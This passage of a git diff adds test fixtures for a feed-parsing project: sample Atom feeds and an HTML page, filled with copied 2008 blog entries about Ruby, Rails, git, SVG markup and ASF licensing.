+&lt;p&gt;Anyway, I hope you enjoy it.&lt;/p&gt;
+
+&lt;h2&gt;Behind the Scenes&lt;/h2&gt;
+
+&lt;p&gt;The hack involves some Ruby, some Javascript, some Flash, and some magic. The animated Bob Dylan isn't pre-rendered with the subtitles - that's all live thanks to &lt;a href="http://www.techbelly.com"&gt;Ben Griffiths&lt;/a&gt; flash deconstruction skills (learned on the spot, no less). The interesting terms are the result of a collaboration between myself and &lt;a href="http://jamesandre.ws"&gt;James Andrews&lt;/a&gt; (although whereever you see good words, it's his work - all the not-so-good words are my fault).&lt;/p&gt;
+
+&lt;p&gt;Anyway - great fun. I'll amend this post with the timestamps of some of my favourite moments in the movie. (#mashed tag for robotic things.)&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://interblah.net/mashed-2008"&gt;1 comments for mashed-2008&lt;/a&gt;&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>more-vanilla-tweaks</title>
+    <id>tag:interblah.net,2008-06-04:/more-vanilla-tweaks</id>
+    <updated>2008-06-04T22:46:14+00:00</updated>
+    <published>2008-06-04T22:46:14+00:00</published>
+    <link href="http://interblah.net/more-vanilla-tweaks"/>
+    <author>
+      <name>james</name>
+    </author>
+    <content type="html">&lt;h1&gt;More Vanilla Tweaks&lt;/h1&gt;
+
+&lt;p&gt;So thanks for your patience thus far. My grand &lt;a href="http://interblah.net/vanilla"&gt;vanilla&lt;/a&gt; experiment is going relatively well. Lessons learned so far:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Links in atom feeds need to be absolute, not relative;&lt;/li&gt;
+&lt;li&gt;Folks like to post empty comments.&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;I've updated some of the documentation so &lt;a href="http://github.com/lazyatom/vanilla-rb/tree/master/README"&gt;it should be a bit clearer&lt;/a&gt; how you can play with your own &lt;a href="http://interblah.net/vanilla-rb"&gt;vanilla-rb&lt;/a&gt; clones:&lt;/p&gt;
+
+&lt;pre&gt;&lt;code&gt;$ gem install gem install soup sqlite3-ruby rack ratom RedCloth BlueCloth
+$ git clone git://github.com/lazyatom/vanilla-rb.git
+$ cd vanilla-rb
+$ rake setup
+$ rackup lib/vanilla.ru
+&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Let me know how it goes...&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://interblah.net/more-vanilla-tweaks"&gt;2 comments for more-vanilla-tweaks&lt;/a&gt;&lt;/p&gt;</content>
+  </entry>
+</feed>
diff --git a/whoisi/static/tests/no-link.html b/whoisi/static/tests/no-link.html
new file mode 100644 (file)
index 0000000..33a4d0e
--- /dev/null
@@ -0,0 +1,7 @@
+<html>
+<head>
+<link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="no-link.atom"/>
+</head>
+<body>
+</body>
+</html>
diff --git a/whoisi/static/tests/one_entry.atom b/whoisi/static/tests/one_entry.atom
new file mode 100644 (file)
index 0000000..a6640e2
--- /dev/null
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+ <title>Example Feed</title>
+ <subtitle>A subtitle.</subtitle>
+ <link href="http://example.org/feed/" rel="self"/>
+ <link href="http://example.org/"/>
+ <updated>2003-12-13T18:30:02Z</updated>
+ <author>
+   <name>John Doe</name>
+   <email>johndoe@example.com</email>
+ </author>
+ <id>urn:uuid:60a76c80-d399-11d9-b91C-0003939e0af6</id>
+ <entry>
+   <title>Atom-Powered Robots Run Amok</title>
+   <link href="http://example.org/2003/12/13/atom03"/>
+   <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>
+   <updated>2003-12-13T18:30:02Z</updated>
+   <summary>Some text.</summary>
+ </entry>
+</feed>
diff --git a/whoisi/static/tests/relative-feed-relative-links.atom b/whoisi/static/tests/relative-feed-relative-links.atom
new file mode 100644 (file)
index 0000000..c363b7c
--- /dev/null
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0">
+  <link rel="self" href="http://intertwingly.net/blog/index.atom"/>
+  <id>http://intertwingly.net/blog/index.atom</id>
+  <icon>../favicon.ico</icon>
+
+  <title>Sam Ruby</title>
+  <subtitle>It’s just data</subtitle>
+  <author>
+    <name>Sam Ruby</name>
+    <email>rubys@intertwingly.net</email>
+    <uri>/blog/</uri>
+  </author>
+  <updated>2008-07-05T09:28:36-04:00</updated>
+  <link href="/blog/"/>
+  <link rel="license" href="http://creativecommons.org/licenses/BSD/"/>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2864</id>
+    <link href="/blog/2008/07/02/authoritative-true"/>
+    <link rel="replies" href="2864.atom" thr:count="31" thr:updated="2008-07-05T09:28:27-04:00"/>
+    <title>authoritative=true</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="105" height="95" viewBox="0 0 105 95">
+<path fill="#7B4" d="M106,13c-21,9-31,4-40-2l-10,35c9,6,20,11,40,2l10-35z"/>
+<path fill="#49c" d="M39,83c-9-6-18-10-39-2l10-35c21-9,31-4,39,2l-10,35z"/>
+<path fill="#E63" d="M51,42c-5-4-11-7-19-7c-6,0-12,1-20,5l10-35c20-8,30-4,39,2l-10,35z"/>
+<path fill="#FD5" d="M55,52c9,6,18,10,39,2l-10,35c-21,8-30,3-39-3l10-34z"/>
+</svg>
+<p><a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx"><cite>Eric Lawrence</cite></a>: <em>we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type</em></p>
+<p>While I’m not a fan of content-sniffing, one of my few pet peeves with HTML5 is that it endeavors to <a href="http://www.whatwg.org/specs/web-apps/current-work/#content-type3">institutionalize the practice</a> with no provisions for content providers to opt out.  As the lesser of the available evils, I hope Microsoft’s proposal is quickly adopted by other browsers.</p></div></content>
+    <updated>2008-07-02T21:37:10-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2863</id>
+    <link href="/blog/2008/06/30/June-31st"/>
+    <link rel="replies" href="2863.atom" thr:count="1" thr:updated="2008-06-30T20:51:55-04:00"/>
+    <title>June 31st</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="75" height="113" viewBox="0 0 75 113">
+<path d="M44,13c-42,39,-46,60-12,54c1-1,1,0,1,5c0,7,0,9,4,9c5,0,4-1,4-9c0,-4-1-8,0-9c2-9,0-11-7-7c-14,8,-26,4,2-21l14-14c8,-8,0,-15-7-7" fill="#838"/>
+<circle r="7" fill="#838" cx='38' cy='93'/>
+</svg>
+<p><a href="http://www.dehora.net/journal/2008/07/01/june-31st/"><cite>Bill de hÓra</cite></a>: <em>You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.</em></p>
+<p><b>Update</b>: seems to be better now.  Will leave with <a href="http://www.dehora.net/journal/2008/07/">this</a> somewhat odd page.</p></div></content>
+    <published>2008-06-30T19:45:52-04:00</published>
+    <updated>2008-06-30T20:20:28-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2862</id>
+    <link href="/blog/2008/06/26/Unable-to-Complete-the-Call-as-Dialed"/>
+    <link rel="replies" href="2862.atom" thr:count="11" thr:updated="2008-06-30T21:48:09-04:00"/>
+    <title>Unable to Complete the Call as Dialed</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs">Tim Bray</a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="130" height="77" viewBox="0 0 130 77">
+  <path d="M2,12l8-6h11v11l-6,8zM62,12l8-6h11v11l-6,8zM2,62l8-6h11v11l-6,8zM62,62l8-6h11v11l-6,8z" fill="#fe898b"/>
+  <path d="M2,12h13v13h-13zM62,12h13v13h-13zM2,62h13v13h-13zM62,62h13v13h-13z" fill="#cb0612"/>
+
+  <path d="M23,12l8-6h29v11l-5,7h-4v9l-6,7zM59,68l-5,6l-30-11l6-7h3v-8l6-5h11v14h9z" fill="#52a9ff"/>
+  <path d="M23,12h32v12h-10v16h-12v-16h-10zM54,74h-30v-11h9v-15h12v15h9z" fill="#5c64b5"/>
+
+  <path d="M84,12l8-6c18-4,38,19,34,27l-5,6zM84,63c18,4,38,5,42-21h-12l-5,6c-2,14,-18,10-20,10z" fill="#87f7a2"/>
+  <path d="M84,12c20-5,41,15,37,27h-12c0-12-8-15-25-15zM84,75c20,3,41-15,37-27h-12c0,12-8,15-25,15z" fill="#18bf73"/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs"><cite>Tim Bray</cite></a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>When I was a young’un, <a href="http://en.wikipedia.org/wiki/North_American_Numbering_Plan#History">telephone area codes in North America</a> had a zero or a one a the middle digit, and none of the exchanges in such area codes had such.  This enabled telephone switching equipment to detect whether the number you were dialing was a local or long distance number without requiring a one to be dialed first.  Eventually, phone numbers became scarce, and this was ditched.</p>
+<p>This meant that the <abbr title="Private Branch eXchange">PBX</abbr> equipment in a number of locations were unable to make calls to these new numbers, and had to be replaced.</p>
+<p>The modern equivalent of this may be <a href="http://www.regular-expressions.info/email.html">email addresses</a>.  Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></content>
+    <updated>2008-06-26T20:42:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2861</id>
+    <link href="/blog/2008/06/24/Minimalist-Markup"/>
+    <link rel="replies" href="2861.atom" thr:count="29" thr:updated="2008-06-28T01:16:15-04:00"/>
+    <title>Minimalist Markup</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.</p>
+<p>My <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) will be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M38,38c0-12,24-15,23-2c0,9-16,13-16,23v7h11v-4c0-9,17-12,17-27c-2-22-45-22-45,3zM45,70h11v11h-11z" fill="#371"/>
+  <circle cx="50" cy="50" r="45" fill="none" stroke="#371" stroke-width="10"/>
+</svg>
+<p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.  I’m not sure when it changed, but Firefox 3.0, Safari 3.1.1, and Opera 9.5 now all support units of <em>em</em> in SVG dimensions.</p>
+<p>This means that my <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) can be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p>
+<p>I have more work to do on individual post pages and on the archives.  The archives will continue to employ a table for the calendar.</p></div></content>
+    <updated>2008-06-24T19:10:50-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2860</id>
+    <link href="/blog/2008/06/23/OpenID-Check-on-Rails"/>
+    <link rel="replies" href="2860.atom" thr:count="0"/>
+    <title>OpenID Check on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I need to somehow have the id of the unprocessed record tag alone with the identity request.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M43,90c-88,-16,-21,-86,41,-51l9,-6v17h-26l8,-5c-55,-25,-86,29,-32,36z" fill="#ccc"/>
+  <path d="M43,90v-75l14,-9v75z" fill="#f60"/>
+</svg>
+<p>Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it doesn’t seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I don’t need a ‘login’, instead I need to somehow have the id of the unprocessed record tag alone with the identity request.</p>
+<p>The <a href="http://www.danwebb.net/2007/2/27/the-no-shit-guide-to-supporting-openid-in-your-applications">No Shit Guide</a> is quite a bit simpler, but is based on the <a href="http://openidenabled.com/ruby-openid/">1.1.x version of the ruby-openid</a> library.</p>
+<p><a href="http://intertwingly.net/stories/2008/06/23/openid_controller.rb">This controller</a> contains a simpler pair of methods (one public, one protected) that does what I want and can easily be adapted.  Simply drop these two methods into your favorite controller and modify the actions that are taken at the obvious points (DiscoveryFailure, success, failure, cancel, other).  At the moment, all that is done is that the data is logged and/or stashed into a session, but it could easily be modified so that a failure or cancel could trigger moderation, or a required preview, or a captcha, or whatever.</p></div></content>
+    <updated>2008-06-23T15:20:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2859</id>
+    <link href="/blog/2008/06/19/Intertwingly-on-Git"/>
+    <link rel="replies" href="2859.atom" thr:count="4" thr:updated="2008-06-21T08:17:00-04:00"/>
+    <title>Intertwingly on Git</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">I’ve installed git and gitweb, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="120" height="70" viewBox="0 0 120 70">
+  <path d="M20,20h20m5,0h20m5,0h20" stroke="#c00000" stroke-width="10"/>
+  <path d="M20,40h20m5,0h20m5,0h20M30,30v20m25,0v-20m25,0v20" stroke="#008000" stroke-width="6"/>
+</svg>
+<p>I’ve installed <a href="http://git.or.cz/">git</a> and <a href="http://git.or.cz/gitwiki/Gitweb">gitweb</a>, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it:</p>
+<pre class="code">git clone http://code.intertwingly.net/public/git/riggr
+rake db:migrate
+rake test</pre>
+<p>Initial impressions:</p>
+<ul>
+<li>Git is <b>fast</b></li>
+<li>The integration with ssh and pre/post commit hooks makes even single developer apps a breeze.</li>
+</ul>
+
+<p>Links I found useful in the process: </p>
+<ul>
+<li><a href="http://autopragmatic.com/2008/01/26/hosting-a-git-repository-on-dreamhost/">Hosting a git repository on dreamhost</a></li>
+<li><a href="http://toolmantim.com/article/2007/12/5/setting_up_a_new_rails_app_with_git">Setting up a new Rails app with Git</a></li>
+<li><a href="http://ozmm.org/posts/git_post_commit_for_profit.html">Git post-commit for profit</a></li>
+<li><a href="http://tomayko.com/writings/the-thing-about-git">The Thing About Git</a></li>
+</ul></div></content>
+    <updated>2008-06-19T16:09:25-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2858</id>
+    <link href="/blog/2008/06/19/Atom-PubSub-module-for-ejabberd"/>
+    <link rel="replies" href="2858.atom" thr:count="1" thr:updated="2008-06-19T22:29:55-04:00"/>
+    <title>Atom-PubSub module for ejabberd</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="80" height="120" viewBox="0 0 80 120">
+  <path d="M9,15c-1,21,4,11,6,9c10-15,48-6,53,12c14,38-30,30-23,67c1,1,3,2,4-1c-10-29,44-25,22-70c-10-29-52-27-62-17z
+M18,80c5,6,13,9,20,6c3-1,3,1,2,3c-5,3-20,2-26-5c-5-5,0-12,4-4z
+M18,92c5,3,9,5,18,5c7-2,6,3,2,4c-5,2-20-3-22-6c-10-6-7-11,2-3z
+M18,103c5,3,15,7,20,4c5-3,7-1,2,2c-5,5-21,2-26-3c-8-5-3-13,4-3z" fill="#C00"/>
+  <path d="M20,64c-1-13,9-15,12-6c5-5,20-8,6,13c-3,5-5,4-4-1c13-15,2-13-3-8c-1-11-9-7-7,2c1,7-2,7-4,0z" fill="#fb0"/>
+</svg>
+<a href="http://www.cestari.info/2008/6/19/atom-pubsub-module-for-ejabberd"><cite>Eric Cestari</cite></a>: <em>This module will offer an AtomPub interface to ejabberd PubSub data... The AtomPub interface passes the Atom Protocol Exerciser (though some warnings remain).  It means that any AtomPub clients will be able to post to a specific node in your PubSub tree.  It also means that your PubSub tree will also be available as an AtomFeed.</em>  [via <a href="http://intertwingly.net/blog/2007/09/27/Comment-Notification-via-XMPP#c1213866387"><cite>kael</cite></a>]</div></content>
+    <updated>2008-06-19T06:35:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2857</id>
+    <link href="/blog/2008/06/16/Intertwingly-on-Rails"/>
+    <link rel="replies" href="2857.atom" thr:count="10" thr:updated="2008-07-04T07:46:07-04:00"/>
+    <title>Intertwingly on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#039" x="0" y="3" height="95" width="95" rx="15"/>
+  <path d='M20,56L19,35C19,30,27,20,33,21L55,21A30,30,0,0,1,20,56Z' fill='#369' stroke='#369' stroke-linejoin='round' stroke-width='5px'/>
+  <path d='M17,67A37,37,0,0,0,67,18A36,36,0,1,1,17,67' fill='#FFF'/>
+</svg>
+<p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p>
+<p>Installation would have been a simple <abbr title="Secure CoPy">scp</abbr> except for two issues: despite what it says in <a href="http://rails.dreamhosters.com/">this list</a>, the sqlite3-ruby gem does not appear to be installed.  And the current date on the machine appears to be Feb 15, 3155.</p>
+<p>For the model part, I can’t quite bear to break with the idea of flat files yet, so the model consists of two tables: posts and comments, and each contain dates and file name parts only.  The remainder of the model is populated using an after_find hook from the flat files.</p>
+<p>With my current Intertwingly, I had three views that had diverged over time, as well as a “partial” which contained the navigation bar.  The <a href="http://intertwingly.net/blog/">front page</a> (and <a href="http://intertwingly.net/blog/comments.html">comments page</a>) are clean XHTML5, <a href="http://intertwingly.net/blog/2008/06/13/Advertise-One-Feed-Format">individual posts</a> are XHTML1, and the <a href="http://intertwingly.net/blog/archives/">archives</a> are based a layout that I used back when I was on Radio Userland.  In the Rails implementation, I have four views and a layout (index and comments becoming separate views).  Having a common layout encourages consistency, and you can see the difference in the archive view already.  More work needs to be done on the individual posts view.</p>
+<p>The controller methods are positively pedestrian at this point.  They simply obtain the necessary information from the model, and then proceed to render the associated view.</p>
+<p>This is but a modest beginning... allowing people to enter new comments, openid, implementing spam avoidance measures, automated extraction of excerpts, ... the list goes on and on.  But first, I plan to put this code under version control (probably <a href="http://git.or.cz/">git</a>), and implement a test suite.</p></div></content>
+    <updated>2008-06-16T14:53:44-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2856</id>
+    <link href="/blog/2008/06/13/Advertise-One-Feed-Format"/>
+    <link rel="replies" href="2856.atom" thr:count="6" thr:updated="2008-06-16T14:54:38-04:00"/>
+    <title>Advertise One Feed Format</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#F80" x="0" y="3" height="95" width="95" rx="15"/>
+  <circle cx="18" cy="81" r="9" fill="#FFF"/>
+  <path d="M48,84s0-33-33-33 M75,84s0-60-60-60"
+    stroke-linecap="round" stroke-width="15" stroke="#FFF" fill="none"/>
+</svg>
+<p><a href="http://www.somebits.com/weblog/tech/bad/atom-vs-rss-wtf.html">Nelson Minar</a> starts a meme.  <a href="http://rc3.org/2008/06/13/pick-one-feed-format/">Rafe Colburn</a> waters it down.  I’ve watered it down even further.</p>
+<p>Whatever you call your feed, Safari will call it RSS.  Don’t sweat the small stuff.</p>
+<p>Which format should you pick?  I’d suggest that you pick whichever one that you can consistently produce with the fewest errors and warnings detected by the <a href="http://feedvalidator.org/">feedvalidator</a>.  Test with <a href="http://www.intertwingly.net/stories/2004/04/14/i18n.html">Iñtërnâtiônàlizætiøn</a> and <a href="http://www.intertwingly.net/blog/2006/07/14/Another-Month">ampersands</a> in titles.  <a href="http://groups.google.com/group/feedvalidator-users/browse_thread/thread/3dfdad4905b72f9b">June</a>, particularly in the <a href="http://www.timeanddate.com/library/abbreviations/timezones/eu/bst.html">UK</a> is also a good time to test.</p></div></content>
+    <updated>2008-06-13T20:42:30-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2855</id>
+    <link href="/blog/2008/06/11/RX-for-Pain"/>
+    <link rel="replies" href="2855.atom" thr:count="2" thr:updated="2008-06-12T11:34:06-04:00"/>
+    <title>RX for Pain</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M20,100l74-5l6-75zM61,35l37-2l-29-24z' fill='#b11'/>
+<path d='M21,100l74-5l-47-4zM98,33c4-12,5-29-14-33l-15,9l29,24z' fill='#811'/>
+<path d='M7,67l14,33l11-38z' fill='#d44'/>
+<path d='M29,61l42,13l-10-42zM56,0h28l-16,10zM1,51l-1,29l7-13z' fill='#c22'/>
+<path d='M32,61l39,13c-14,13-30,24-50,26z' fill='#a00'/>
+<path d='M61,35l10,39l17-23zM32,61l16,30c9-5,16-11,23-17l-39-13z' fill='#900'/>
+<path d='M61,35l27,17l10-20l-37,3z' fill='#800'/>
+<path d='M71,74l23,21l-6-44zM0,80c1,19,15,20,21,20l-14-33l-7,13zM7,67l-2,26c4,6,9,7,15,6c-4-11-13-32-13-32zM69,9l30,4c-1-7-6-11-15-13l-15,9z' fill='#911'/>
+<path d='M1,51l6,16l25-5l29-27l8-26l-13-9l-22,8c-6,7-20,19-20,19c-1,1-9,16-13,24z' fill='#ebb'/>
+<path d='M21,21c15-14,34-23,42-16c7,8-1,26-16,40c-14,15-33,24-41,17c-7-7,1-26,15-41z' fill='#b11'/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/10/RX-Work"><cite>Tim Bray</cite></a>: <em>There is quite a bit of disgruntlement about XML and Ruby right at this point in time</em></p>
+<p>I’m scheduled to give a <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2969">talk about this subject and more</a> at <a href="http://www.conferences.oreilly.com/oscon">OSCON</a> next month.  Short summary: if you are a markup geek (i.e., deal with things like HTML or XML), and expect things to “just work”, now is not a great time to be exploring Ruby 1.9.  The biggest issue is that <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17666&amp;group_id=494&amp;atid=1973">bug</a> <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17700&amp;group_id=426&amp;atid=1698">reports</a> and <a href="http://intertwingly.net/blog/2008/01/04/Builder-on-1-9">suggestions</a> don’t seem to attract the necessary cycles from the key developers.</p>
+<p>Hopefully, venues like OSCON can help draw attention to this important issue.</p></div></content>
+    <updated>2008-06-11T10:40:52-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2854</id>
+    <link href="/blog/2008/06/06/Sausages-and-Uncertainty"/>
+    <link rel="replies" href="2854.atom" thr:count="20" thr:updated="2008-06-11T18:44:14-04:00"/>
+    <title>Sausages and Uncertainty</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Yesterday we had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  I was asked about the status of the <a href="http://people.apache.org/~rubys/3party.html">ASF third party licensing policy</a>.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="104" height="96" viewBox="0 0 104 96">
+  <desc><![CDATA[
+    Scales of Justice.  Based on work
+    Copyright 2007 by Ken A L Coar.  All rights reserved.
+    The design and this SVG rendition are protected by copyright law,
+    and may not be used or reproduced without the express
+    permission of the author, coar@apache.org.
+  ]]></desc>
+  <g fill='#cbb820' stroke='#cbb820'>
+    <path d='M1,69l13-51l13,51M77,69l13-51l13,51' fill='none'/>
+    <path d='M0,69c5,9,23,9,28,0zM76,69c5,9,23,9,28,0zM48,94l2-88l2-4l2,4l2,88z' stroke='none'/>
+    <path d='M52,14c6-17,35,9,40,0c-2,14-34-14-40,5c-6-19-38,9-40-5c5,9,34-17,40,0'/>
+  </g>
+</svg>
+<p>I’ve often found lawyers frustrating.  No matter how carefully you craft a question to only permit answers of <b>yes</b> or <b>no</b>, they always seem to find a way to pick door number 3.</p>
+<p>Given that, I should have known better in <a href="http://www.apache.org/foundation/records/minutes/2007/board_minutes_2007_07_18.txt">July</a> when I volunteered to take over a vacancy as Chair of the ASF Legal Affairs Committee when <a href="http://en.oreilly.com/oscon2008/public/schedule/speaker/3809">Cliff Schmidt</a> decided to devote more of his time to <a href="http://www.literacybridge.org/about.html">Literacy Bridge</a>.  And I certainly should have known better than to volunteer to take an unfinished <a href="http://people.apache.org/~rubys/3party.html">third party licensing policy</a> to completion.</p>
+<p>Fast forward to yesterday.  We had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  New members were elected too — those names will dribble out as they are informed and (hopefully) accept.</p>
+<p>At that meeting, the tables were turned.  Instead of it being me crying for a simple yes or no answer, a number of members, led by <a href="http://www.betaversion.org/~stefano/">Stefano</a> and <a href="http://enthusiasm.cozy.org/">Ben</a> led the charge and came after me complete with torches and pitchforks.  OK, so I’m exaggerating slightly.  There were no torches.  And only <b>really</b> tiny pitchforkes.  Actually they weren’t pitchforks at all — more like Monty Python-esque <a href="http://www.youtube.com/watch?v=9V7zbWNznbs">taunting</a>.  Oh, and it was not directed at me, exactly.  Just at the lack of closure.  On what <b>clearly</b> must be a series of simple <em>yes</em> and <em>no</em> questions.  I mean really.  For example, is the <a href="http://markmail.org/message/aw7fexnksqq2gvao">Creative Commons Attribution license</a> version 2.5 compatible with the <a href="http://www.apache.org/licenses/LICENSE-2.0.html">Apache License version 2.0</a>?  Surely <b>that</b> is a yes or no question, right?  Actually, <a href="http://markmail.org/message/jafgk762wylbhzru">no</a>.  But we can quickly come up with a <a 